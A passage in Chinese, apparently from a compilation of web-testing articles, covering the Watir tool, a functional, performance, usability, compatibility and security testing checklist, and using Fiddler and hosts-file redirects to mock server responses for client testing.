Testing》。
經過一段時間的開源開發,
現在BRET
和他的合夥人PETE開一家公司叫WATIR
CRAFT,
提供商業支持,
就像UBUNTU
背後有公司Canonical一樣。
WATIR
和
UBUNTU
都是開源的,不過如果你需要特殊的商業支持和功能,
WATIR
CRAFT
和
CANONICAL
可以為你量身定做。
怎麼寫著寫著,覺得自己在打廣告,
呵呵,
不好意思!還是介紹一下WATIR
的功能吧,
WATIR
一開始只可以在WINDOWS
上運行,而且之可以測試IE,
不過現在好象是可以測試FIREFOX
和
SAFARI
了。WATIR
只可以用RUBY
來寫。
都是開源的,都很著名,呵呵,可以試試
G. WEB測試應該注意哪些地方,怎樣才能做好WEB測試,新手上路,希望大家能多給些寶貴的意見
基於Web的系統測試與傳統的軟體測試既有相同之處,也有不同的地方,對軟體測試提出了新的挑戰。基於Web的系統測試不但需要檢查和驗證是否按照設計的要求運行,而且還要評價系統在不同用戶的瀏覽器端的顯示是否合適。重要的是,還要從最終用戶的角度進行安全性和可用性測試。本文從功能、性能、可用性、客戶端兼容性、安全性等方面討論了基於Web的系統測試方法。
隨著Internet和Intranet/Extranet的快速增長,Web已經對商業、工業、銀行、財政、教育、政府和娛樂及我們的工作和生活產生了深遠的影響。許多傳統的信息和資料庫系統正在被移植到互聯網上,電子商務迅速增長,早已超過了國界。范圍廣泛的、復雜的分布式應用正在Web環境中出現。Web的流行和無所不在,是因為它能提供支持所有類型內容連接的信息發布,容易為最終用戶存取。
Yogesh Deshpande和Steve Hansen在1998年就提出了Web工程的概念。Web工程作為一門新興的學科,提倡使用一個過程和系統的方法來開發高質量的基於Web的系統。它"使用合理的、科學的工程和管理原則,用嚴密的和系統的方法來開發、發布和維護基於Web的系統"。目前,對於web工程的研究主要是在國外開展的,國內還剛剛起步。
在基於Web的系統開發中,如果缺乏嚴格的過程,我們在開發、發布、實施和維護Web的過程中,可能就會碰到一些嚴重的問題,失敗的可能性很大。而且,隨著基於Web的系統變得越來越復雜,一個項目的失敗將可能導致很多問題。當這種情況發生時,我們對Web和Internet的信心可能會無法挽救地動搖,從而引起Web危機。並且,Web危機可能會比軟體開發人員所面對的軟體危機更加嚴重、更加廣泛。
在Web工程過程中,基於Web系統的測試、確認和驗收是一項重要而富有挑戰性的工作。基於Web的系統測試與傳統的軟體測試不同,它不但需要檢查和驗證是否按照設計的要求運行,而且還要測試系統在不同用戶的瀏覽器端的顯示是否合適。重要的是,還要從最終用戶的角度進行安全性和可用性測試。然而,Internet和Web媒體的不可預見性使測試基於Web的系統變得困難。因此,我們必須為測試和評估復雜的基於Web的系統研究新的方法和技術。
一般軟體的發布周期以月或以年計算,而Web應用的發布周期以天計算甚至以小時計算。Web測試人員必須處理更短的發布周期,測試人員和測試管理人員面臨著從測試傳統的C/S結構和框架環境到測試快速改變的Web應用系統的轉變。
一、功能測試
1、鏈接測試
鏈接是Web應用系統的一個主要特徵,它是在頁面之間切換和指導用戶去一些不知道地址的頁面的主要手段。鏈接測試可分為三個方面。首先,測試所有鏈接是否按指示的那樣確實鏈接到了該鏈接的頁面;其次,測試所鏈接的頁面是否存在;最後,保證Web應用系統上沒有孤立的頁面,所謂孤立頁面是指沒有鏈接指向該頁面,只有知道正確的URL地址才能訪問。鏈接測試可以自動進行,現在已經有許多工具可以採用。鏈接測試必須在集成測試階段完成,也就是說,在整個Web應用系統的所有頁面開發完成之後進行鏈接測試。
2、表單測試
當用戶給Web應用系統管理員提交信息時,就需要使用表單操作,例如用戶注冊、登陸、信息提交等。在這種情況下,我們必須測試提交操作的完整性,以校驗提交給伺服器的信息的正確性。例如:用戶填寫的出生日期與職業是否恰當,填寫的所屬省份與所在城市是否匹配等。如果使用了默認值,還要檢驗默認值的正確性。如果表單只能接受指定的某些值,則也要進行測試。例如:只能接受某些字元,測試時可以跳過這些字元,看系統是否會報錯。
3、Cookies測試
Cookies通常用來存儲用戶信息和用戶在某應用系統的操作,當一個用戶使用Cookies訪問了某一個應用系統時,Web伺服器將發送關於用戶的信息,把該信息以Cookies的形式存儲在客戶端計算機上,這可用來創建動態和自定義頁面或者存儲登陸等信息。如果Web應用系統使用了Cookies,就必須檢查Cookies是否能正常工作。測試的內容可包括Cookies是否起作用,是否按預定的時間進行保存,刷新對Cookies有什麼影響等。
4、設計語言測試
Web設計語言版本的差異可以引起客戶端或伺服器端嚴重的問題,例如使用哪種版本的HTML等。當在分布式環境中開發時,開發人員都不在一起,這個問題就顯得尤為重要。除了HTML的版本問題外,不同的腳本語言,例如Java、javascript、 ActiveX、VBScript或Perl等也要進行驗證。
5、資料庫測試
在Web應用技術中,資料庫起著重要的作用,資料庫為Web應用系統的管理、運行、查詢和實現用戶對數據存儲的請求等提供空間。在Web應用中,最常用的資料庫類型是關系型資料庫,可以使用SQL對信息進行處理。在使用了資料庫的Web應用系統中,一般情況下,可能發生兩種錯誤,分別是數據一致性錯誤和輸出錯誤。數據一致性錯誤主要是由於用戶提交的表單信息不正確而造成的,而輸出錯誤主要是由於網路速度或程序設計問題等引起的,針對這兩種情況,可分別進行測試。
二、性能測試
1、連接速度測試
用戶連接到Web應用系統的速度根據上網方式的變化而變化,他們或許是電話撥號,或是寬頻上網。當下載一個程序時,用戶可以等較長的時間,但如果僅僅訪問一個頁面就不會這樣。如果Web系統響應時間太長(例如超過5秒鍾),用戶就會因沒有耐心等待而離開。另外,有些頁面有超時的限制,如果響應速度太慢,用戶可能還沒來得及瀏覽內容,就需要重新登陸了。而且,連接速度太慢,還可能引起數據丟失,使用戶得不到真實的頁面。
2、負載測試
負載測試是為了測量Web系統在某一負載級別上的性能,以保證Web系統在需求范圍內能正常工作。負載級別可以是某個時刻同時訪問Web系統的用戶數量,也可以是在線數據處理的數量。例如:Web應用系統能允許多少個用戶同時在線?如果超過了這個數量,會出現什麼現象?Web應用系統能否處理大量用戶對同一個頁面的請求?
3、壓力測試
負載測試應該安排在Web系統發布以後,在實際的網路環境中進行測試。因為一個企業內部員工,特別是項目組人員總是有限的,而一個Web系統能同時處理的請求數量將遠遠超出這個限度,所以,只有放在Internet上,接受負載測試,其結果才是正確可信的。進行壓力測試是指實際破壞一個Web應用系統,測試系統的反映。壓力測試是測試系統的限制和故障恢復能力,也就是測試Web應用系統會不會崩潰,在什麼情況下會崩潰。黑客常常提供錯誤的數據負載,直到Web應用系統崩潰,接著當系統重新啟動時獲得存取權。壓力測試的區域包括表單、登陸和其他信息傳輸頁面等。
三、可用性測試
1、導航測試
導航描述了用戶在一個頁面內操作的方式,在不同的用戶介面控制之間,例如按鈕、對話框、列表和窗口等;或在不同的連接頁面之間。通過考慮下列問題,可以決定一個Web應用系統是否易於導航:導航是否直觀?Web系統的主要部分是否可通過主頁存取?Web系統是否需要站點地圖、搜索引擎或其他的導航幫助?
在一個頁面上放太多的信息往往起到與預期相反的效果。Web應用系統的用戶趨向於目的驅動,很快地掃描一個Web應用系統,看是否有滿足自己需要的信息,如果沒有,就會很快地離開。很少有用戶願意花時間去熟悉Web應用系統的結構,因此,Web應用系統導航幫助要盡可能地准確。導航的另一個重要方面是Web應用系統的頁面結構、導航、菜單、連接的風格是否一致。確保用戶憑直覺就知道Web應用系統裡面是否還有內容,內容在什麼地方。Web應用系統的層次一旦決定,就要著手測試用戶導航功能,讓最終用戶參與這種測試,效果將更加明顯。
2、圖形測試
在Web應用系統中,適當的圖片和動畫既能起到廣告宣傳的作用,又能起到美化頁面的功能。一個Web應用系統的圖形可以包括圖片、動畫、邊框、顏色、字體、背景、按鈕等。圖形測試的內容有:
(1)要確保圖形有明確的用途,圖片或動畫不要胡亂地堆在一起,以免浪費傳輸時間。Web應用系統的圖片尺寸要盡量地小,並且要能清楚地說明某件事情,一般都鏈接到某個具體的頁面。
(2)驗證所有頁面字體的風格是否一致。
(3)背景顏色應該與字體顏色和前景顏色相搭配。
(4)圖片的大小和質量也是一個很重要的因素,一般採用JPG或GIF壓縮。
3、內容測試
內容測試用來檢驗Web應用系統提供信息的正確性、准確性和相關性。信息的正確性是指信息是可靠的還是誤傳的。例如,在商品價格列表中,錯誤的價格可能引起財政問題甚至導致法律糾紛;信息的准確性是指是否有語法或拼寫錯誤。這種測試通常使用一些文字處理軟體來進行,例如使用Microsoft Word的"拼音與語法檢查"功能;信息的相關性是指是否在當前頁面可以找到與當前瀏覽信息相關的信息列表或入口,也就是一般Web站點中的所謂"相關文章列表"。
4、整體界面測試
整體界面是指整個Web應用系統的頁面結構設計,是給用戶的一個整體感。例如:當用戶瀏覽Web應用系統時是否感到舒適,是否憑直覺就知道要找的信息在什麼地方?整個Web應用系統的設計風格是否一致?對整體界面的測試過程,其實是一個對最終用戶進行調查的過程。一般Web應用系統採取在主頁上做一個調查問卷的形式,來得到最終用戶的反饋信息。對所有的可用性測試來說,都需要有外部人員(與Web應用系統開發沒有聯系或聯系很少的人員)的參與,最好是最終用戶的參與。
四、客戶端兼容性測試
1、平台測試
市場上有很多不同的操作系統類型,最常見的有Windows、Unix、Macintosh、Linux等。Web應用系統的最終用戶究竟使用哪一種操作系統,取決於用戶系統的配置。這樣,就可能會發生兼容性問題,同一個應用可能在某些操作系統下能正常運行,但在另外的操作系統下可能會運行失敗。因此,在Web系統發布之前,需要在各種操作系統下對Web系統進行兼容性測試。
2、瀏覽器測試
瀏覽器是Web客戶端最核心的構件,來自不同廠商的瀏覽器對Java,、javascript、 ActiveX、 plug-ins或不同的HTML規格有不同的支持。例如,ActiveX是Microsoft的產品,是為Internet Explorer而設計的,javascript是Netscape的產品,Java是Sun的產品等等。另外,框架和層次結構風格在不同的瀏覽器中也有不同的顯示,甚至根本不顯示。不同的瀏覽器對安全性和Java的設置也不一樣。測試瀏覽器兼容性的一個方法是創建一個兼容性矩陣。在這個矩陣中,測試不同廠商、不同版本的瀏覽器對某些構件和設置的適應性。
五、安全性測試
Web應用系統的安全性測試區域主要有:
(1)現在的Web應用系統基本採用先注冊,後登陸的方式。因此,必須測試有效和無效的用戶名和密碼,要注意到是否大小寫敏感,可以試多少次的限制,是否可以不登陸而直接瀏覽某個頁面等。
(2)Web應用系統是否有超時的限制,也就是說,用戶登陸後在一定時間內(例如15分鍾)沒有點擊任何頁面,是否需要重新登陸才能正常使用。
(3)為了保證Web應用系統的安全性,日誌文件是至關重要的。需要測試相關信息是否寫進了日誌文件、是否可追蹤。
(4)當使用了安全套接字時,還要測試加密是否正確,檢查信息的完整性。
(5)伺服器端的腳本常常構成安全漏洞,這些漏洞又常常被黑客利用。所以,還要測試沒有經過授權,就不能在伺服器端放置和編輯腳本的問題。
六、總結
本文從功能、性能、可用性、客戶端兼容性、安全性等方面討論了基於Web的系統測試方法。基於Web的系統測試與傳統的軟體測試既有相同之處,也有不同的地方,對軟體測試提出了新的挑戰。基於Web的系統測試不但需要檢查和驗證是否按照設計的要求運行,而且還要評價系統在不同用戶的瀏覽器端的顯示是否合適。重要的是,還要從最終用戶的角度進行安全性和可用性測試。(T117)
H. 客戶端&WEB網路測試方法雜談(三)
我們進行客戶端網路相關的測試時,肯定要更改伺服器返回數據進行測試,但頻繁更改線上伺服器的數據肯定不現實,即麻煩又有風險,所以就需要我們自己做網路返回數據了。
自己改網路返回數據,一般有兩種方法,一種是指向代理伺服器,然後在代理伺服器上進行數據修改,此時我們使用fiddler;另一種就是更改hosts文件,把伺服器指向自己的測試伺服器,然後在測試伺服器上進行數據修改。
1.使用fiddler的autoResponder
打開fiddler,點擊要自定義網路返回的條目,點擊右邊工具欄中的Autoresponder,然後點擊頁面中的Add Rule按鈕,此時就會在下面的編輯區顯示剛剛添加的請求。
點擊選中請求,然後編輯器下方就會出現鏈接的屬性設置選項。
此處,上框中是要編輯的請求鏈接,下框是想要給的返回(可預選擇的內容如下),選好之後點擊save按鈕就可以保存了。
常用返回的說明:
上面從200到502的都是既有的網路返回
Delay:100是設置超時返回時間,單位為毫秒
Redir指的是跳轉到其它的頁面
Find a file:選擇一個返回的本地文件
還有,上框的內容,如果是以EXACT開頭,則指的是精確匹配,也就是說只有完全匹配的鏈接才會執行該條規則;當然還可以使用正則表達式,用以模糊匹配,例如下面:
最後,要檢查如下幾個開關:
Enable automatic responses:這是總開關,如果取消勾選,那麼所有設置的自定義返回規則都不生效了
Unmatched requests passthrough:沒有匹配的請求是否放行,如果勾選它,那麼所有沒有匹配的請求都會照常工作;如果取消勾選,那麼所有沒有匹配的請求都會被攔截不會給任何返回。
至此,通過上面的設置後,就可以讓命中規則的請求url返回指定的內容。
2.使用fiddler中的返回斷點
使用fiddler設置斷點也可以修改response(返回內容)。
2.1.設置請求斷點的原理
Fiddler是個代理、可以捕獲整個session,那麼就可以在伺服器返回內容之後進行中斷,進而修改內容再放行給客戶端,所以客戶端拿到的就是修改之後的數據了。
2.2.設置返回斷點的三種方法
a)打開Fiddler點擊Rules->Automatic Breakpoint ->After Requests(這種方法會中斷所有會話的返回)
再次點擊Rules->Automatic Breakpoint ->Disabled就可以消除斷點了
b)在命令行中輸入命令:bpafter xxx.xxx。xxx.xxx是想要中斷的請求url。所以這種方法屬於定製斷點。若想消除該斷點,在命令行中輸入命令bpu即可。
c)在auto responder中也可以添加:
2.3.設置返回斷點的應用范圍
上面已經說過了,設置返回斷點並修改可以做客戶端測試,和我們平時使用fiddler的AutoResponder功能上很類似,只不過設置返回斷點的方式比設置AutoResponder更加快捷方便,相當於即時修改返回數據、當場可以看到客戶端的現象。但也由於是即時修改數據,如果操作慢的話,可能會導致客戶端獲取超時失敗。所以需要依照不同的測試場景合理使用這幾種方法。
2.4.設置返回斷點的實例
實例使用一張圖片來說明整個操作過程和方法。
3.使用http測試伺服器
http測試伺服器,就是實實在在的伺服器,上面搭建了http+php服務,只要本地設置了hosts(對於手機來說,必須root才能修改),就可以讓指定的http訪問到自己的伺服器上,於是就可以隨意修改了。
3.1.http測試伺服器的搭建
http伺服器,使用最多的是Linux+Apache,還有linux+nginx,window+IIS也行,但性能上要比Linux差不少,並且涉及windows本身的防火牆,導致外網訪問可能會有問題。
具體搭建方法,大家可以網路或搜狗一下,比較簡單,就不在這里贅述了。
3.2.設置本地hosts
hosts文件是操作系統中,指定域名訪問指定IP的匹配對,windows操作系統中 該文件是在%windir%\system32\drivers\etc,android系統中是在/etc
下面以android系統簡單說明一下如何修改:
手機必須 root ,方法就不說了,可網上搜索。
使用獲取了最高管理員許可權的文件管理應用,打開/etc,然後掛載讀寫操作,然後打開下面的hosts文件
在hosts文件中增加需要綁定的域名和IP,例如:
10.12.131.16 input.shouji.sogou.com
然後保存退出。最好再進入該文件看一下是否修改成功。
3.3. 自定製返回內容
經過上面的操作後,凡是發往input.shouji.sogou.com的請求,都會來到10.12.131.16了,所以下面就可以自定製返回內容了:在http伺服器工作根目錄中新建各種對應的目錄和文件,就可以被訪問了。
4.其它注意點
如果即想使用http測試伺服器,又想使用fiddler抓包,那麼可以先設置代理到fiddler上,然後給fiddler所在機器上配置hosts。注意:如果在手機上即設置代理到fiddler,又設置了hosts,那麼hosts是不管用的,也就是說代理是繞過hosts工作的。
I. 北大青鳥設計培訓:Web測試的經驗
1.功能測試1.1.鏈接測試鏈接是Web應用系統的一個主要特徵,它是在頁面之間切換和指導用戶去一些不知道地址的頁面的主要手段。
鏈接測試可分為三個方面。
首先,測試所有鏈接是否按指示的那樣確實鏈接到了該鏈接的頁面;其次,測試所鏈接的頁面是否存在;最後,保證Web應用系統上沒有孤立的頁面,所謂孤立頁面是指沒有鏈接指向該頁面,只有知道正確的URL地址才能訪問。
鏈接測試可以自動進行,現在已經有許多工具可以採用。
鏈接測試必須在集成測試階段完成,也就是說,在整個Web應用系統的所有頁面開發完成之後進行鏈接測試。
1.2.表單測試當用戶給Web應用系統管理員提交信息時,就需要使用表單操作,例如用戶注冊、登陸、信息提交等。
在這種情況下,我們必須測試提交操作的完整性,以校驗提交給伺服器的信息的正確性。
例如:用戶填寫的出生日期與職業是否恰當,填寫的所屬省份與所在城市是否匹配等。
如果使用了默認值,還要檢驗默認值的正確性。
如果表單只能接受指定的某些值,則也要進行測試。
例如:只能接受某些字元,測試時可以跳過這些字元,看系統是否會報錯。
1.3.Cookies測試Cookies通常用來存儲用戶信息和用戶在某應用系統的操作,當一個用戶使用Cookies訪問了某一個應用系統時,Web伺服器將發送關於用戶的信息,把該信息以Cookies的形式存儲在客戶端計算機上,這可用來創建動態和自定義頁面或者存儲登陸等信息。
如果Web應用系統使用了Cookies,就必須檢查Cookies是否能正常工作。
測試的內容可包括Cookies是否起作用,是否按預定的時間進行保存,刷新對Cookies有什麼影響等。
1.4.設計語言測試Web設計語言版本的差異可以引起客戶端或伺服器端嚴重的問題,例如使用哪種版本的HTML等。
當在分布式環境中開發時,開發人員都不在一起,這個問題就顯得尤為重要。
除了HTML的版本問題外,不同的腳本語言,例如Ja、JaScript、ActiveX、VBScript或Perl等也要進行驗證。
1.5.資料庫測試在Web應用技術中,資料庫起著重要的作用,資料庫為Web應用系統的管理、運行、查詢和實現用戶對數據存儲的請求等提供空間。
在Web應用中,最常用的資料庫類型是關系型資料庫,可以使用SQL對信息進行處理。
在使用了資料庫的Web應用系統中,一般情況下,可能發生兩種錯誤,分別是數據一致性錯誤和輸出錯誤。
貴州北大青鳥http://www.kmbdqn.cn/認為數據一致性錯誤主要是由於用戶提交的表單信息不正確而造成的,而輸出錯誤主要是由於網路速度或程序設計問題等引起的,針對這兩種情況,可分別進行測試。